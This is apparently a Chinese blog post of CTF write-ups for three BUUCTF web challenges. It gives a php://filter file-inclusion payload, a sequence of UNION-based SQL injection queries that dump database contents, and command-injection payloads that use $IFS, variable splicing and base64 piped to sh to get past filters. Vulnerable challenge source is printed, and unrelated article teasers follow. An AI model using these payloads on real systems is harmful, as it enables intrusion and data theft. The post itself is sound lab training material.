BUUCTF刷题[Secret File]&[LoveSQL]&[Ping Ping Ping]

BUUCTF-Secret File Secret 意为秘密,可知我们需要在网页中寻找到隐藏的flag文件 启动环境打开靶机 直接查看源码,发现一个文件 打开后点击 secret 但是会直接跳转到 end.php 并且提示查阅结束,说明页面跳转过快,需要手动抓放包来查看 经过拦截显示出隐藏 php 文件,访问后出现源码 <html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file 阅读详情

[极客大挑战 2019]Secret File

image-20211212002054426

你想知道密码吗,我不想知道,所以我打开了f12

image-20211212002246964

发现有个事件,而这个事件后面就紧接着一串英文"oh you found me",那就没问题了,直接打开它,发现我们被跳转到了另外一个页面Archive_room.php

image-20211212002409994

这个界面有个按钮secret,点进去他说里面没有东西,叫我回去仔细再看一下,而这里我观看Archive_room.php这个页面的源码的时候明显是点击secret按钮后跳转到action.php页面去的,但是他却直接跳转到了end.php,这说明在action.php页面存在代码将我们自动跳转到end.php,而且是时间很短的那种

所以为了在action.php这个页面停留,我采取了使用burp抓包的方式,将页面停留在action.php

image-20211212003515048

抓包访问action.php页面他提示我们secr3t.php,那接下来就继续访问secr3t.php这个页面

image-20211212003634851[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9tXLP88-1639245874151)(C:/Users/86185/AppData/Roaming/Typora/typora-user-images/image-20211212004237722.png)]

然后他说flag放在了flag.php里面,那继续访问flag.php

image-20211212003742983

说明这是最后一个页面了,剩下的就是利用某种方法来找到藏在这个页面的flag

首先我们要知道一个知识,就是php文件中可以写前端代码比如说HTML,这种一般是显示出来的,也有些php后端代码,而这个php代码默认是不会显示的,除非你用某种函数,而他提示说flag就在这个页面说明,flag就藏在php代码里面

现在来审计secr3t.php的代码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里存在一个文件包含include函数,而其中的参数file变量是我们认为可以控制的,这里禁用掉了切换目录的../,tp字符,input伪协议,以及data伪协议,然后我们又要知道flag.php的完整源代码,就想到了php://filter伪协议进行当前目录下任意文件读取

所以构造出的payload如下

~secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

image-20211212004952095

进行base64解码然后发现了flag

image-20211212005034524

[极客大挑战 2019]LoveSQL

image-20211212005409627

flag放在那个地方?先寻找注入点把

image-20211212005433944

很显然可以注入,还是加上#号后正常回显,然后尝试使用order by爆出列名

1'order by 4%23 //回显Unknown column '4' in 'order clause'
1‘order by 3 %23   //回显正常
说明当前查询的表为三列

接下来使用union select看是否有回显点

image-20211212005835899

有回显点,直接进行联合注入就行了

因为最开始他说他把flag放在了那个地方,所以我觉得很有必要将所有数据库的名字都注入一遍,防止flag不在当前数据库的情况
当前数据库名:
-1'union select 1,2,database()%23   //查出当前数据库为'geek'


所有数据库名:
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23                           //查出information_schema,mysql,performance_schema,test,geek,很显然还是我多虑了
    
    
geek数据库中的所有表:
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23 
//查出表为geekuser,l0ve1ysq1,以我的经验,flag必定在l0ve1ysq1里面


l0ve1ysq1表中所有字段:
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23  //结果为id,username,password,那应该不是在password里面就是在另外一张表里面了
    
    
password列中的所有值:
-1'union select 1,2,group_concat(password) from geek.l0ve1ysq1%23    
//结果wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{95322f13-6777-421d-a631-6505096ba78c}
这不是有了吗

image-20211212011003900

[GXYCTF2019]Ping Ping Ping

一听题目感觉就跟ping相关,或者是rce

image-20211212011300936

果然如此,他给出了个提示/?ip=,这很明显就是一个get传参,我们要上传一个ip的参数通过get的方式

然后构造payload

1;ls

image-20211212011452191

返现网站根目录有flag.php,然后我访问它发现这个页面没有任何回显,那毫无疑问这个flag就藏在这个flag.php里面

1;cat flag.php

image-20211212011623952

不能使用空格?然后我试着用%09(TAB键的URL编码)

image-20211212011718496

fxck my symbol?看来数字也不能使用了,一般绕过空格的方法又一下

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、{cat,flag}等

其中$IFS不含数字,所以构造payload如下

1;cat$IFSflag

image-20211212012402388

结果他又绕过了flag,然后我尝试了各种单引号,问号通配符都被过滤掉了,所以我就换一条思路,查看index.php的源码,看是否有什么

image-20211212013710348

/?ip=
PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }

有了这串源码那就好办了,直接把正则匹配表达式放在网站上一解析

image-20211212014009739

所以直接通过变量拼接的方式进行构造flag.php这一关键字,所以构造出的payload如下

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

image-20211212020106355

  • 当然也可以使用base64绕过,虽然bash被过滤掉了,但是linux还有sh可以用
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

image-20211212020231103

  • 还有一种,我个人感觉是最简单的一种

    1;cat$IFS$9`ls`
    

    image-20211212020345602

BUUCTF【Web】Secret File 访问flag.php文件后发现没有看到flag。所以对于这一特性我们可以使用PHP伪协议对文件内容进行编码,编码后的文件内容由于是非代码不能执行,会展示在页面中,之后我们可以进行解码即可得到文件内容。但是可以肯定的是突破口就在Archive_room.php文件里面,因为在end.php文件里面提示了flag在Archive_room.php文件里面查找。所以我们在返回Archive_room.php文件,因为源代码没有什么发现所以我们可以尝试用bp抓取数据包,在响应里面我们发现了一个PHP文件被注释了。 阅读详情

相关推荐

OSNet代码解析(普通卷积,分组卷积,深度可分离卷积,OSblock组成)

文章目录普通卷积和分组卷积普通卷积和深度可分离卷积用深度可分离卷积(LightConv3x3)代替普通卷积(Conv3x3)减少参数OSBlock (bottleneck)OSNet OSNet之所以轻量(2.2M)在于网络浅,使用深度可分离卷积代替传统卷积,但是很有效 普通卷积和分组卷积 所谓分组卷积,就是右图的input features分成一组一组,如上图groups=3,那么输入的特征分成3组,每组有12/3=4的通道的特征参与输出。然后根据输出通道的维度,得到每组的输入特征要计算两次(6/3=2

Mr_DaYang的博客 9802

buuctf——SecretFile

进来就看见有大佬被挂在黑页 F12查看源码看到在下面有个黑化了的标签藏得挺深,./Archive_room.php。然后网页中间有个 不知道的还以为在FBI warning.点进去看看,注意到直接来到了end.php,但是在上一页的源码这个secret的herf是跳转至action.php啊。应该是action.php302跳转到了end.php吧,开burp看看 事实证明确实有action.php repeater发包后在响应包看到有secr3t.php,拿到题目源码: &lt;html&gt;

qq_51796436的博客 1097

openEuler 22.03 安装 openGauss 5.0.2 部署手册

openEuler 22.03 安装 openGauss 5.0.2 部署手册

全国服务器高效代维 1429

BUUCTF Web [极客大挑战 2019]Secret File

「作者主页」:士别三日wyx &nbsp;&nbsp;此文章已录入专栏《网络攻防》,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之九十九的同期选手。 [极客大挑战 2019]Secret File一、题目简介二、思路分析1)信息泄露2)文件包含三、解题步骤1)查看网页源代码2)拦截请求,查看响应信息3)文件包含漏洞4)PHP伪协议读取文件内容四、总结 一、题目简介 进入链接以后是一个「文字」页面,没有什么特别的功能 二、思路.

wangyuxiang946的博客 1万+

EB tresos配置指南:CAN通信信号收发全流程解析

本文详细解析了使用EB tresos配置工具实现AUTOSAR架构下CAN通信信号收发功能的全流程。从环境准备、COM模块信号定义、PduR路由配置、CanIf硬件抽象到CAN驱动层设置,提供了清晰的步骤指南和关键配置要点,帮助开发者快速打通从应用层到物理层的数据链路,实现可靠的CAN通信。

weixin_29192141的博客 512

ThingsBoard入门实战(二):ThingsBoard 设备接入

文章目录ThingsBoard 设备接入一、设备配置/设备类型二、设备三、设备接入HTTPCOAPMQTT四、下一步 ThingsBoard 设备接入 设备接入并不一定需要真正的设备,我们可以通过程序。或者命令来模拟设备,向平台发送信息。 这节我们先为用户分配一个设备,然后通过模拟设备命令更新设备的状态(遥测值)。 一、设备配置/设备类型 添加一个叫"路灯"的设备配置。 设备配置听起来比较抽象,可以认为是设备类型或者是设备类型的配置。实际上,ThingsBoard 中很多时候让选择设备类型,就是选的这个。

AIGC搞起 1万+

记录BUUCTF的五道题 Secret File,Exec,LoveSQL,Ping Ping Ping,Knife

先从简单的题目开始讲起 Knife 打开靶机好的看到 eval($_POST["Syc"]); 两种解法一种菜刀,蚁剑直接连,另一种利用漏洞的本质无需工具。 因为这个利用的是远程代码执行的漏洞所以可以直接修改POST的提交参数来利用漏洞。废话不多上解法,我这边用的是蚁剑好的直接连接 根目录下有个flag文件直接点开 解法2 利用漏洞不知道为什么我的火狐的hackbar的插件不允许我提交post的数据,所以我post的提交都是用burpsuite去完成的 直接抓包提交方式改为POST的提交根据提示添加Sy

trytowritecode的博客 448

osg中显示3dtiles和cesiumIon

如下图为CesiumTilesetNode数据更新相关代码,将OSG对应的ViewMatrix、ProjectionMatrix和窗口信息传递给tileset->updateView()实现Cesium-native的场景更新。整体结构,其中 CesiumTilesetNode依赖Cesium3DTilesSelection::Tileset,实现数据的更新以及确定需要绘制的节点。1.1 CesiumNative3DTileslayer图层。

CPWWHSU的博客 889

CTF² BUUCTF Web 第一页

CTF² BUUCTF Web 第一页

102 268

(论文加源码)基于CNN和LSTM的脑电情绪识别(数据集为DEAP和seed)

论文及源码见个人主页:https://download.youkuaiyun.com/download/qq_45874683/84118637?spm=1001.2014.3001.5503 (论文加源码)基于CNN和LSTM的脑电情绪识别(数据集为DEAP和seed)4D-CRNN 目录 目录: 运行过程: 1. 运行1D文件(没有什么bug): 2. 再运行3D文件(没有出现bug): 3. 最后运行main文件(出现了两个bug)(前提需要配置好tensorflow的框架): 第一个bug是..

qq_45874683的博客 6366

【机器学习】随机森林(Random Forest,简称 RF):预测光伏电站功率 || 缺失数据处理 || 重复行处理...

【机器学习】随机森林(Random Forest,简称 RF):预测光伏电站功率。

追光者♂:记录、分享、总结、提升,现象级专栏《Python从入门到人工智能》作者,无惧黑暗,坚信曙光 1649

BUUCTF-WEB详细解题攻略第一页(按解出数降序排序)

BUUCTF-WEB题解索引,按解出数排序。每题附详细Payload与思路,适合CTF刷题备查。

2503_94637398的博客 1774

基于MATLAB的语音声强度和响度分析及处理

综上所述,本文介绍了如何使用MATLAB进行语音信号的声强度和响度分析,并提供了相应的源代码。通过这些工具和方法,可以更好地理解和处理语音信号的声强度和响度特性,为语音信号处理和音频应用提供支持。声强度(Intensity)和响度(Loudness)是语音信号中常用的两个重要参数,用于描述声音的强度和感知响度。响度均衡化:可以通过对语音信号施加不同的加权滤波器,调整信号的频谱分布,从而改变声音的响度。除了分析语音信号的声强度和响度,MATLAB还提供了丰富的工具和函数,用于处理语音信号的声强度和响度。

COWizard的博客 618

BUUCTF Web 第一页

BUUCTF Web 第一页

102 655

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

CTF学习笔记——Secret File

一、[极客大挑战 2019]Secret File 1.题目 2.解题步骤 发现源码中有一个room.php,点进去看一下 继续点action.php 这里直接显示了end.php啊,不怎么会用burp,这里直接用谷歌自带的抓一下看看 玩我??又看了一下请求头,是302 found 百度了一下302 found 说明action.php里面确实有flag,但是被临时改到了end.php下。但是没有头绪了…只能看writeup了…。 原来确实是需要burp的,无奈,落下的课还是要补上… 3.总结

Obs_cure的博客 1993

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

buuctf-SecretFile

查看下源码 访问过去 直接点击secret按钮 回去看看源码 又有一个 访问后自动跳转为end.php 本来以为是有别的按键存在或者源码的颜色问题,回去调了下页面颜色 结果什么都没有 结果抱着侥幸的心里返回首页查看 我的天,改了下颜色,然后用鼠标随便一拉!!! 发现了一个不一样的地方 改了下这个小框的颜色,一开始太激动没注意到,结果仔细一看… 这不就是我之前直接过去的php吗… 果然,点击之后,跳转到我们之前的界面 但是想着这个思路,试试这个界面是不是也有这样的 结果也只是证实了之..

xixihahawuwu的博客 826

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

一天一道CTF 第六天

[极客大挑战 2019]Secret File 点开网页以后一头雾水,觉得作者还是个海贼迷。查看源码发现Archive_room.php文件,点开以后是 离答案更近了一步,故技重施发现源代码里又有个action.php文件,但点开以后是直接到end.php的页面 感受到了作者的嘲讽“看不清么?”那可能是action.php页面出现的时间很短,用burpsuite抓一下包看一下,把抓到的包send to repeater,看一下response,发现了一个secr3t.php的文件 发现过滤了…/

scrawman的博客 231

Buuctf--Secret File

访问flag.php文件后发现没有看到flag。这是因为PHP的文件包含有一个特性,被包含的文件内容如果是代码则会执行而不会出现在页面中展示;如果是非代码则不会执行会以文本的形式在页面中展示出来。

qq_75120258的博客 389

[极客大挑战 2019]Secret File(BUUCTF)

BUUCTF找秘密水题 内附解题过程

HackerYY的博客 1330

Buuctf-[极客大挑战 2019]Secret File

我不知道,但是我可以看源代码,这里是第一个我所注意到的问题,因为第一遍看源码的时候马虎了,没有发现隐藏的关键信息,所以有时候审阅代码一定要细致。第二个问题就在这,这么多目录,我应该在哪里使用伪协议查阅呢?如果对整一个的环境有清晰的了解,就很简单,这里应该为。flag应该如他所说,就在这,但是不能直接查阅,怎么办?

m0_63563528的博客 482

buuctf-secretfile

进来页面如下: 目前图中所包含信息不多,所以f12打开,看到有一个链接,点进去: 看到如下界面: 然后中间的secret可以点击,但是点击之后会跳转,而且会提示我们没看到,这里就想到抓个包: 抓包看到有一个.php文件: 再接着过去访问一下,就看到了一串php代码: 根据代码意思,我们需要的东西放在了flag.php文件里面,但是这边过滤了一些文件访问的协议,但是有一个协议没有被过滤就是php协议, 所以构造如下payload: ?file=php://f..

Sacrifice_li的博客 568

secret_file分析

secret_file的题目分析 2020-02-1309:11:12 by hawkJW 题目附件、ida文件及wp链接   这道题就是一个简单的溢出问题,但是需要注意一些细节,这里进行说明一下   1.  程序流程总览 首先,还是老规矩,看一下保护情况   可以看到,这里的保护措施全开,那么可能不能用普通的操作来解决问题。下面具体看一下程序的流程,如图所示 实际上,可...

Eagle_hwei的博客 1150

[极客大挑战]secret file

打开靶机后,可以看到这样一个网页 2.页面上看没有可以输入的地方,于是尝试看一下网页源代码,发现有一个可跳转的网址:Archive_room.php 3.跳转后出现如下页面,有一个secret选项,点击一下发现没有任何可用信息,查看源代码也没有发现。 4.返回上一个页面看一下源代码,发现还有一个可跳转网址 5.可以看到跳转的网页应该是action.php,但是点开后发现访问的是end.php。 ...

m0_56375816的博客 932

【BUUCTF刷题记录】Secret File1

快来一起看jiangluyuan的秘密/手动狗头

m0_60911102的博客 433
上一篇: BUUCTF刷题[PHP]&[EasySQL]&[Exec]
下一篇: linux shell重定向(输入输出重定向)讲解
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值